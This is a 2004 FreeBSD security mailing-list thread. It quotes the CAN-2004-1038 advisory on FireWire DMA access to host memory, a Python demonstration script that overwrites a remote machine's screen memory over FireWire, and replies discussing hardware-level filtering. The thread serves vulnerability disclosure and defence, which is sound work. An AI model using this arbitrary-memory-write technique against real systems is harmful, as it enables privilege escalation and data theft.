Hello,
looking into the issue described in the advisory below I wonder how to
tackle this issues. Primarily
I ask myself
* is there any reason not to filter all physical memory access by default
* what would be the appropriate way to change the filter set? a sysctl?
Regards
Maximillian Dornseif
FireWire/IEEE 1394 direct memory access - CAN-2004-1038
Advisory URL: http://pacsec.jp/advisories.html
Subject: Potential system compromise by connected FireWire devices
CVE #: CAN-2004-1038
Affected: So far all tested Operating Systems with FireWire support
Summary:
--------
The FireWire/IEEE 1394 specification allows client devices to directly
access host
memory, bypassing operating system limitations. A malicious client device
can read and modify sensitive memory, causing privilege escalation,
information leakage and system compromise. Any system with sensitive
information or in an unsecured physical location, esp. public access
systems, should re-evaluate their system security and consider additional
physical security measures if they are equipped with "FireWire" ports.
These ports are also called "iLink" on some Sony models.
Overview:
---------
In the presentation, "0wned by an iPod" which Maximilian Dornseif from
Laboratory for Dependable Distributed Systems at RWTH Aachen University
held at the PacSec.jp/core04 conference in Tokyo on Nov 11/12,
several new techniques involving the IEEE 1394 interface commonly
found on laptops, desktops, and some servers were demonstrated.
These techniques could be used in both malicious and beneficial applications.
The beneficial applications are in the areas of system forensics and
external debugging. The malicious applications are that anyone with
physical access to the FireWire port could tamper with system operation
and compromise security without measures such as power cycling or rebooting.
Systems that counted on physical access limitation such as blocking access
to reset and power switches and other measures to limit compromise though
such procedures as rebooting, need to re-examine their security.
As usual, physical access to a computer usually implies the ability
for compromise - however, with this new technique, merely plugging
in a malicious FireWire client device with special software
could be enough to compromise a target. It becomes easier to
violate security if the combination of physical access and FireWire
interfaces are available.
Security policies and procedures should be re-evaluated
and consider this new information where needed.
Details:
--------
Firewire/1394 host adapters which comply to the OHCI specification
allow remote devices to initiate direct DMA based memory access to the
host computers main memory. This access takes place completely without
involvement of the operating system on the host computer. While
OHCI supplies certain methods to allow the filtering of such direct
memory access requests, most operating systems do not use this filters
or do not provide a way for the user to set such filters.
This access can be used to read arbitrary memory from a system connected
via FireWire and also to modify arbitrary memory contents. Applications
of this capability include capture of screen
contents, modification of screen contents, induced system crashes,
escalation of process privileges and disabling of password queries.
A simple application demonstrating screen blanking would look like
this:
#!/usr/bin/env python
# Blank the medium third of a remote computer's screen via FireWire.
# Demonstration for an presentation at PacSec 2004, see http://pacsec.jp/
# http://md.hudora.de/presentations/#firewire-pacsec for further
# detail.
# --Maximillian Dornseif
# Take care - this file uses hard coded addresses for just
# everything. You will at least have to change values in the addrs
# dictionary to suit your own equipment.
import sys, time
import fw # import simple mapping of Apples FireWire API to Python
# module available at http://c0re.23.nu/c0de/pyfw/
# this structure encodes FireWire GUID, start of the actual screen memory
# resolution and bits per pixel
# example values for a Dell Latitude X 200 running FreeBSD 5.3
addrs = { 0x00065b80030f21aeL: (0xe8000000L, 1024, 768, 4), }
# enumerate devices on the FireWire bus and iterate over them
for device in fw.scanbus():
print "Found device %r" % (device.guid)
if device.guid not in addrs:
print "don't now where to look on that machine, add it in the
sourcecode"
continue
else:
base, xres, yres, bpp = addrs[device.guid]
# we just delete the medium third of the screen for
demonstration purposes
pos = base + (xres*bpp*(yres/3))
# iterate over screen lines and overwrite them with \0
while pos < base + (xres*bpp*(yres/3)*2):
print "\r-> clearing %08x ..." % (pos),
device.write(pos, "\0"*(xres*bpp)),
sys.stdout.flush()
pos += xres*bpp
print done
Systems Affected:
-----------------
We have tested this issue on FreeBSD 5.3 and 5.2.1, MacOS 10.3.5 and
10.3.4 and Knoppix 3.6. All of them allowed memory access and had no
obvious way to disable this functionality. We observed that Windows
2000 Professional crashed whenever an Apple Macintosh Computer running
MacOS X was connected. Other operating systems where not tested.
Any operating system and any hardware with FireWire interfaces should
be considered vulnerable as long as statement from the vendor on OHCI
filters or similar means of access control are available. Even if the
operating system in question does not support the interface, compromise
may still be possible if the hardware is powered.
Fix:
----
On some systems that require untrusted/unauthenticated physical
access by strangers and still require restricted operations, removal
of wire headers connecting external case FireWire jacks may provide
some limited remigration.
On laptops epoxy may be used to permanently disable the external jack
if such loss of functionality can be tolerated.
The primary precaution is that employees should be warned that they
should not plug unknown/untrusted FireWire devices into computers
containing sensitive information.
Operating system vendors should supply users with a way to control
OHCI filters. Default configurations should deny all memory access via
FireWire.
Credits:
--------
* Firestarter by Quinn "The Eskimo!" for demonstrating the potential
of FireWire to us - http://www.quinn.echidna.id.au/Quinn/WWW/Hacks.html
* Hidetoshi Shimokawa for his FreeBSD FireWire Driver and his
revealing post "FireWire for kernel hackers" -
http://docs.freebsd.org/cgi/getmsg.cgi?fetch=597886+0+archive/2002/freebsd-hackers/20020414.freebsd-hackers
*
* Kerneltrap for pointing us to FreeBSD FireWire drivers
- http://kerneltrap.org/node/view/145
Contact:
--------
Maximillian Dornseif
Laboratory for Dependable Distributed Systems
RWTH Aachen University, Germany
email: dornseif@informatik.rwth-aachen.de
Phone: +49-241-80-21431
Web: http://md.hudora.de/
History:
--------
- 2004-10-26 initial disclosure
- 2004-11-15 updated to contain executive sumary, more details,
example code, history and credits section
- 2004-11-16 CAN-2004-1038 has been assigned to this issue
On Tue, Nov 16, 2004 at 09:30:09PM +0100, Maximillian Dornseif wrote:> looking into the issue described in the advisory below I wonder how to > tackle this issues. Primarily > I ask myself > > * is there any reason not to filter all physical memory access by default > * what would be the appropriate way to change the filter set? a sysctl?This is totally not news, this has been discussed in various circles for the past 5 years, though it's nice to see someone presenting an old attack in a new way. You can only filter the accesses by implementing filter logic in the PCI bridge to main memory to deny the accesses, or the PCI bus arbiter, or failing that, the FireWire to PCI host controller itself. The CPU and operating system are not able to intervene here in any way. Regards, BMS -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 167 bytes Desc: not available Url : http://lists.freebsd.org/pipermail/freebsd-security/attachments/20041116/fd92f2cf/attachment.bin
Hi.! yes we've been aware of this problem for a year or so :-) I guess we need to get the filters done.. We do of course use firewire for remote kernel debugging with great success so we need to be able to turn it off sometimes :-) Maximillian Dornseif wrote:> Hello, > > looking into the issue described in the advisory below I wonder how to > tackle this issues. Primarily > I ask myself > > * is there any reason not to filter all physical memory access by default > * what would be the appropriate way to change the filter set? a sysctl? > > Regards > > Maximillian Dornseif > > > > FireWire/IEEE 1394 direct memory access - CAN-2004-1038 > > Advisory URL: http://pacsec.jp/advisories.html > > Subject: Potential system compromise by connected FireWire devices > CVE #: CAN-2004-1038 > Affected: So far all tested Operating Systems with FireWire support > > Summary: > -------- > > The FireWire/IEEE 1394 specification allows client devices to directly > access host > memory, bypassing operating system limitations. A malicious client device > can read and modify sensitive memory, causing privilege escalation, > information leakage and system compromise. Any system with sensitive > information or in an unsecured physical location, esp. public access > systems, should re-evaluate their system security and consider additional > physical security measures if they are equipped with "FireWire" ports. > These ports are also called "iLink" on some Sony models. > > > Overview: > --------- > > In the presentation, "0wned by an iPod" which Maximilian Dornseif from > Laboratory for Dependable Distributed Systems at RWTH Aachen University > held at the PacSec.jp/core04 conference in Tokyo on Nov 11/12, > several new techniques involving the IEEE 1394 interface commonly > found on laptops, desktops, and some servers were demonstrated. > > These techniques could be used in both malicious and beneficial > applications. > The beneficial applications are in the areas of system forensics and > external debugging. The malicious applications are that anyone with > physical access to the FireWire port could tamper with system operation > and compromise security without measures such as power cycling or > rebooting. > > Systems that counted on physical access limitation such as blocking > access > to reset and power switches and other measures to limit compromise though > such procedures as rebooting, need to re-examine their security. > > As usual, physical access to a computer usually implies the ability > for compromise - however, with this new technique, merely plugging > in a malicious FireWire client device with special software > could be enough to compromise a target. It becomes easier to > violate security if the combination of physical access and FireWire > interfaces are available. > > Security policies and procedures should be re-evaluated > and consider this new information where needed. > > > Details: > -------- > > Firewire/1394 host adapters which comply to the OHCI specification > allow remote devices to initiate direct DMA based memory access to the > host computers main memory. This access takes place completely without > involvement of the operating system on the host computer. While > OHCI supplies certain methods to allow the filtering of such direct > memory access requests, most operating systems do not use this filters > or do not provide a way for the user to set such filters. > > This access can be used to read arbitrary memory from a system connected > via FireWire and also to modify arbitrary memory contents. Applications > of this capability include capture of screen > contents, modification of screen contents, induced system crashes, > escalation of process privileges and disabling of password queries. > > A simple application demonstrating screen blanking would look like > this: > > #!/usr/bin/env python > > # Blank the medium third of a remote computer's screen via FireWire. > > # Demonstration for an presentation at PacSec 2004, see http://pacsec.jp/ > # http://md.hudora.de/presentations/#firewire-pacsec for further > # detail. > # --Maximillian Dornseif > > # Take care - this file uses hard coded addresses for just > # everything. You will at least have to change values in the addrs > # dictionary to suit your own equipment. > > import sys, time > import fw # import simple mapping of Apples FireWire API to > Python > # module available at http://c0re.23.nu/c0de/pyfw/ > > # this structure encodes FireWire GUID, start of the actual screen memory > # resolution and bits per pixel > # example values for a Dell Latitude X 200 running FreeBSD 5.3 > addrs = { 0x00065b80030f21aeL: (0xe8000000L, 1024, 768, 4), } > > # enumerate devices on the FireWire bus and iterate over them > for device in fw.scanbus(): > print "Found device %r" % (device.guid) > if device.guid not in addrs: > print "don't now where to look on that machine, add it in the > sourcecode" > continue > else: > base, xres, yres, bpp = addrs[device.guid] > > # we just delete the medium third of the screen for > demonstration purposes > pos = base + (xres*bpp*(yres/3)) > # iterate over screen lines and overwrite them with \0 > while pos < base + (xres*bpp*(yres/3)*2): > print "\r-> clearing %08x ..." % (pos), > device.write(pos, "\0"*(xres*bpp)), > sys.stdout.flush() > pos += xres*bpp > print done > > > > Systems Affected: > ----------------- > > We have tested this issue on FreeBSD 5.3 and 5.2.1, MacOS 10.3.5 and > 10.3.4 and Knoppix 3.6. All of them allowed memory access and had no > obvious way to disable this functionality. We observed that Windows > 2000 Professional crashed whenever an Apple Macintosh Computer running > MacOS X was connected. Other operating systems where not tested. > > Any operating system and any hardware with FireWire interfaces should > be considered vulnerable as long as statement from the vendor on OHCI > filters or similar means of access control are available. Even if the > operating system in question does not support the interface, compromise > may still be possible if the hardware is powered. > > > Fix: > ---- > > On some systems that require untrusted/unauthenticated physical > access by strangers and still require restricted operations, removal > of wire headers connecting external case FireWire jacks may provide > some limited remigration. > > On laptops epoxy may be used to permanently disable the external jack > if such loss of functionality can be tolerated. > > The primary precaution is that employees should be warned that they > should not plug unknown/untrusted FireWire devices into computers > containing sensitive information. > > Operating system vendors should supply users with a way to control > OHCI filters. Default configurations should deny all memory access via > FireWire. > > > Credits: > -------- > > * Firestarter by Quinn "The Eskimo!" for demonstrating the potential > of FireWire to us - http://www.quinn.echidna.id.au/Quinn/WWW/Hacks.html > * Hidetoshi Shimokawa for his FreeBSD FireWire Driver and his > revealing post "FireWire for kernel hackers" - > http://docs.freebsd.org/cgi/getmsg.cgi?fetch=597886+0+archive/2002/freebsd-hackers/20020414.freebsd-hackers > > * > * Kerneltrap for pointing us to FreeBSD FireWire drivers > - http://kerneltrap.org/node/view/145 > > > Contact: > -------- > > Maximillian Dornseif > Laboratory for Dependable Distributed Systems > RWTH Aachen University, Germany > email: dornseif@informatik.rwth-aachen.de > Phone: +49-241-80-21431 > Web: http://md.hudora.de/ > > History: > -------- > > - 2004-10-26 initial disclosure > - 2004-11-15 updated to contain executive sumary, more details, > example code, history and credits section > - 2004-11-16 CAN-2004-1038 has been assigned to this issue > > > _______________________________________________ > freebsd-security@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-security > To unsubscribe, send any mail to > "freebsd-security-unsubscribe@freebsd.org"